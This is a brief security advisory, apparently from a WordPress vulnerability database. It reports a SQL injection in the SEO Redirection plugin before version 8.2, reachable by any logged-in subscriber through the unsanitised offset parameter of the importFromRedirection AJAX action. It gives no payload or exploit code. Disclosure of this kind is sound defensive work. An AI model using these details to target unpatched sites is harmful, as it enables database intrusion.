WordPress Plugin Vulnerabilities

SEO Redirection < 8.2 - Subscriber+ SQL Injection

Description

The importFromRedirection AJAX action of the plugin, available to any authenticated user, does not properly sanitise the offset parameter before using it in a SQL statement, leading an SQL injection when the redirection plugin is also installed
